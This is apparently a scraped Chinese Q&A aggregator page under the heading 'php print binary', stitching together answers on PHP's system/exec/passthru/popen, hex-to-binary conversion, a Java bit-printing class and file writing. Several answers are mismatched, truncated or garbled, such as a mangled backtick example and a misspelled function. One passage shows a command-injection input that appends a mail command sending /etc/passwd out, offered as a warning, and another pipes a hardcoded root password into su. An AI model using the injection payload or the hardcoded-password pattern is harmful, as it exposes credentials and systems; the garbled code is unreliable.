当前位置:首页 » 编程语言 » php打印二进制

php打印二进制

发布时间: 2022-11-30 06:31:32

❶ 在php命令行业中怎样打印内容

在PHP中调用外部命令,可以用如下三种方法来实现:
1) 用PHP提供的专门函数

PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。
system()
原型:string
system (string command [, int return_var])

system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
例子:

复制代码
代码如下:

<?php

system("/usr/local/bin/webalizer/webalizer");
?>

exec()

原型:string exec (string command [, string array [, int return_var]])
exec
()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array
可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二
个参数时,才可以用第三个参数,用来取得命令执行的状态码。
例子:

复制代码
代码如下:

<?php
exec("/bin/ls -l");

exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>

passthru()
原型:void passthru (string command [, int
return_var])
passthru
()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus
(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
例子:

复制代码
代码如下:

<?php
header("Content-type:
image/gif");
passthru("./ppmtogif hunte.ppm");
?>

2)
用popen()函数打开进程

上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。

popen
()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一
的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭 它。

例子1:

复制代码
代码如下:

<?php
$fp=popen("/bin/ls -l", "r");

?>

例子2:

复制代码
代码如下:

<?php
/* PHP中如何增加一个系统用户

下面是一段例程,增加一个名字为james的用户,
root密码是 verygood。仅供参考
*/
$sucommand =
"su --login root --command";
$useradd = "useradd ";
$rootpasswd =
"verygood";
$user = "james";
$user_add = sprintf("%s "%s
%s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);
@pclose($fp);
?>

3)
用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)

这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:

复制代码
代码如下:

<?php
$res='/bin/ls -l';
echo '

'.$res.'
';
?>

这个脚本的输出就象:
hunte.gif

hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么看

要考虑两个问题:安全性和超时。

看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地
址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这
个文件。程序就象这样:

复制代码
代码如下:

<?php
system("mail $to <
procts.txt");
echo "我们的产品目录已经发送到你的信箱:$to";
?>

用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:

'--bla ; mail [email protected] < /etc/passwd ;'
那么这条命令最终变成:

'mail --bla ; mail [email protected] < /etc/passwd ; < procts.txt'

我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。

好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串
中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入
(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串
就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运
行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是
把命令的输出重定向到另外一个文件或流中,如:

复制代码
代码如下:

<?php

system("/usr/local/bin/order_proc > /tmp/null &");
?>

❷ 怎样在PHP中把16进制HEX数据转换为2进制数据呢

十六进制转为二进制有两种理解方法,第一是十六进制字符串转二进制字符串,第二是十六进制数转二进制数,下面分别介绍2种转换方法:

1.hex2bin函数可以将十六进制字符串转换为二进制字符串,详细用法如下:

hex2bin — 转换十六进制字符串为二进制字符串

stringhex2bin(string$data)

转换十六进制字符串为二进制字符串。

参数:

data:十六进制表示的数据

返回值:

返回给定数据的二进制表示 或者在失败时返回 FALSE。

异常:

如果输入的十六进制字符串是奇数长数或者无效的十六进制字符串将会抛出E_WARNING 级别的错误。

示例:

$hex=hex2bin("");
echo$hex;//examplehexdata(其中16进制代表的是ascii码)

2.base_convert是真正意义上的进制转换函数

base_convert — 在任意进制之间转换数字

stringbase_convert(string$number,int$frombase,int$tobase)

返回一字符串,包含 number以 tobase 进制的表示。number 本身的进制由frombase指定。frombase 和 tobase 都只能在2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如a 表示 10,b 表示 11 以及 z 表示 35。

参数:

number:要转换的数字

frombase:原始进制

tobase:转换后的进制

示例:

$hexadecimal='A37334';
echobase_convert($hexadecimal,16,2);//101000110111001100110100

❸ 如何打印2进制

打印整型的二进制格式

一共2个文件:
PrintBinary.java --- 时间以及时间格式相关的处理功能
PrintBinaryTest.java --- 测试文件

主要内容:
打印整型的二进制格式

主要功能:
1. void printBinaryNumber(int x)
打印整型的二进制格式

文件1:PrintBinary.java

package Common.Utils.DataUtils;

/**
*
* <p>
* Description: 打印整型的二进制格式
* </p>
* <p>
* Copyright 2006 mjn.
* </p>
*
* @author ma jia nan
* @Create Date : 2008-02-24
* @Version : 1.0
*/
public class PrintBinary {
/**
* 打印整型的二进制格式
*
* @param x
* @return
*/
public void printBinaryNumber(int x) {
int[] buffer = new int[32];
for (int i = 0, mask = 1; i < 32; i++) {
mask = 1;
mask = mask << i;
buffer[i] = (mask & x) >> i;
}
for (int j = 31; j >= 0; j--) {
System.out.print(buffer[j]);
if (j % 8 == 0)
System.out.print(" ");
}
System.out.println("");
}
}

文件2:PrintBinaryTest.java

import Common.Utils.DataUtils.PrintBinary;

/**
*
* <p>
* Description: 测试PrintBinary
* </p>
* <p>
* Copyright 2006 mjn.
* </p>
*
* @author ma jia nan
* @Create Date : 2008-03-24
* @Version : 1.0
*/

public class PrintBinaryTest {

public static void main(String args[]) {
System.out.println(s((byte) 100));
System.out.println(s((byte) 1));
System.out.println(s((byte) -1));

}

private static byte s(byte b) {
return new test().swap(b);
}

private void p(int x) {
new PrintBinary().printBinaryNumber(x);
}

/**
* 交换b二进制形式(8位)的前4位和后4位
*
* @param b
* @return
*/
public byte swap(byte b) {
int lowBits = b & 0xF;
int highBits = b & 0xF0;
int result = lowBits << 4 | highBits >> 4;

System.out.println("\n\nb=" + b + " 0xF=" + 0xF + " 0xF0=" + 0xF0);
System.out.print(" b Binary : ");
p(b);
System.out.print(" 0xF Binary : ");
p(0xF);
System.out.print(" lowBits(b&0xF) : ");
p((b & 0xF));

System.out.print("\n b Binary : ");
p(b);
System.out.print(" 0xF0 Binary : ");
p(0xF0);
System.out.print("highBits(b&0xF0): ");
p((b & 0xF0));

System.out.print("\n lowBits << 4 : ");
p((lowBits << 4));
System.out.print(" highBits >> 4 : ");
p((highBits >>> 4));
System.out.print(" result( | ) : ");
p((result));

return (byte) result;
}

}

❹ PHP关于获取二进制数据流转换为文件的方法

$content=$_POST['data'];
$fp=fopen('/tmp/newfile.bin','w');
fwrite($fp,$content);

以上例子是在data参数上传二进制,并保存到/tmp/newfile.bin中,解析json用json_decode,然后把二进制的那个值赋给content就可以

❺ php中如何将图片转成二进制呢

安卓苹果的开发都可以支持类似windows的socket io 库吧?

一般情况下,一个安卓应用 常用到的绝大部分图片是存储在手机端的,只有少量的必须获取的才会下载,下载一般也是 net io

❻ php+mysql 输出二进制文件

这个错误是因为你没有设置layout,所以zend会找默认的layout也就是layout.Phtml,解决办法,在你的入口文件写:
//设置layout路径
Zend_Layout::startMVC(array('layoutPath'=>'./application/moles/Default/views/layout/','layout'=>'default'));
layoutPath是你的布局的路径,layout是你的布局文件名称。

❼ PHP关于获取二进制数据流转换为文件的方法

<?php
$bin= bstr2bin($json);
file_put_contents('../somefold/',$bin);

function bstr2bin($input){
// Binary representation of a binary-string
if (!is_string($input)) return null; // Sanity check
// Unpack as a hexadecimal string
$value = unpack('H*', $input);

// Output binary representation
$value = str_split($value[1], 1);
$bin = '';
foreach ($value as $v){
$b = str_pad(base_convert($v, 16, 2), 4, '0', STR_PAD_LEFT);

$bin .= $b;
}

return $bin;

❽ 创建一个php动态网页,分别以十进制、十六进制、八进制和二进制形式显示同一个整数,需要php代码就

<?php
$num=10;
echo "十进制为:".$num;
echo "二进制为:".decbin($num);
echo "八进制为:".decort($num);
echo "十六进制为:".dechex($num);
?>

❾ php二进制流输出文件出错

你要的内容太多了,只能简单的说下。fopen (PHP 3, PHP 4, PHP 5)fopen -- 打开文件或者 URL 说明resource fopen ( string filename, string mode [, bool use_include_path [, resource zcontext]] )fopen() 将 filename 指定的名字资源绑定到一个流上。如果 filename 是 "scheme://..." 的格式,则被当成一个 URL,PHP 将搜索协议处理器(也被称为封装协议)来处理此模式。如果该协议尚未注册封装协议,PHP 将发出一条消息来帮助检查脚本中潜在的问题并将 filename 当成一个普通的文件名继续执行下去。 如果 PHP 认为 filename 指定的是一个本地文件,将尝试在该文件上打开一个流。该文件必须是 PHP 可以访问的,因此需要确认文件访问权限允许该访问。如果激活了安全模式或者 open_basedir 则会应用进一步的限制。 如果 PHP 认为 filename 指定的是一个已注册的协议,而该协议被注册为一个网络 URL,PHP 将检查并确认 allow_url_fopen 已被激活。如果关闭了,PHP 将发出一个警告,而 fopen 的调用则失败。 注意: 所支持的协议列表见附录 N。某些协议(也被称为 wrappers)支持 context 和/或 php.ini 选项。参见相应的页面哪些选项可以被设定(例如 php.ini 中用于 http wrapper 的 user_agent 值)。 注意: 对 context 的支持是 PHP 5.0.0 添加的。有关 context 的说明见参考 CLX, Stream Functions。注意: 自 PHP 4.3.2 起,对所有区别二进制和文本模式的平台默认模式都被设为二进制模式。如果在升级后脚本碰到问题,尝试暂时使用 't' 标记,直到所有的脚本都照以下所说的改为更具移植性以后。 mode 参数指定了所要求到该流的访问类型。可以是以下: 表 1. fopen() 中 mode 的可能值列表mode说明'r'只读方式打开,将文件指针指向文件头。 'r+'读写方式打开,将文件指针指向文件头。 'w'写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。 'w+'读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。 'a'写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。 'a+'读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。 'x'创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。 'x+'创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。 注意: 不同的操作系统家族具有不同的行结束习惯。当写入一个文本文件并想插入一个新行时,需要使用符合操作系统的行结束符号。基于 Unix 的系统使用 \n 作为行结束字符,基于 Windows 的系统使用 \r\n 作为行结束字符,基于 Macintosh 的系统使用 \r 作为行结束字符。 如果写入文件时使用了错误的行结束符号,则其它应用程序打开这些文件时可能会表现得很怪异。 Windows 下提供了一个文本转换标记('t')可以透明地将 \n 转换为 \r\n。与此对应还可以使用 'b' 来强制使用二进制模式,这样就不会转换数据。要使用这些标记,要么用 'b' 或者用 't' 作为

如果帮助到您,请记得采纳为满意答案哈,谢谢!祝您生活愉快! vae.la

❿ php中能输出二进制数据么

可以的。
可以用一个十进制二进制的函数decbin(),生成的是一个字符串,直接输出即可

热点内容
c语言是啥意思啊 发布:2024-05-08 06:01:09 浏览:695
帝豪换压缩机 发布:2024-05-08 05:42:15 浏览:902
java文件时间 发布:2024-05-08 05:32:04 浏览:267
空气压强算法 发布:2024-05-08 05:29:47 浏览:294
c语言中double的范围 发布:2024-05-08 04:53:29 浏览:122
脏小豆服务器怎么加入 发布:2024-05-08 04:40:40 浏览:552
万立存储介质 发布:2024-05-08 04:33:02 浏览:637
ftppro特效复制方法 发布:2024-05-08 04:06:05 浏览:927
平板电脑编译软件 发布:2024-05-08 04:05:46 浏览:478
荣耀v6平板扩展存储 发布:2024-05-08 03:41:12 浏览:423